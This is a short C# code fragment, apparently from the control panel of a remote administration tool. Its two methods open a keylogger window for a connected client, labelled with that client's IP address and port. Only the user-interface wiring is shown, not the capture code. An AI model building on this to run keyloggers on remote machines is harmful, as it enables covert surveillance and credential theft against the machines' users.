private void KlMenuItem(object sender, RoutedEventArgs e) // KEY LOGGER { if (getClient() != null) { FrmKeyLogger frmKl = new FrmKeyLogger(getClient()); frmKl.Text = SetWindowTitle("Keylogger", getClient()); frmKl.ShowDialog(); frmKl.Focus(); } }
public void frmKl(ClientMosaic client) { try { FrmKeyLogger frmKl = new FrmKeyLogger(client); frmKl.Text = "KeyLogger" + ' ' + client.endPoint.Address + " : " + client.endPoint.Port; frmKl.ShowDialog(); } catch (Exception ex) { MessageBox.Show(ex.Message, "FrmPr MainController", MessageBoxButtons.OK, MessageBoxIcon.Error); } }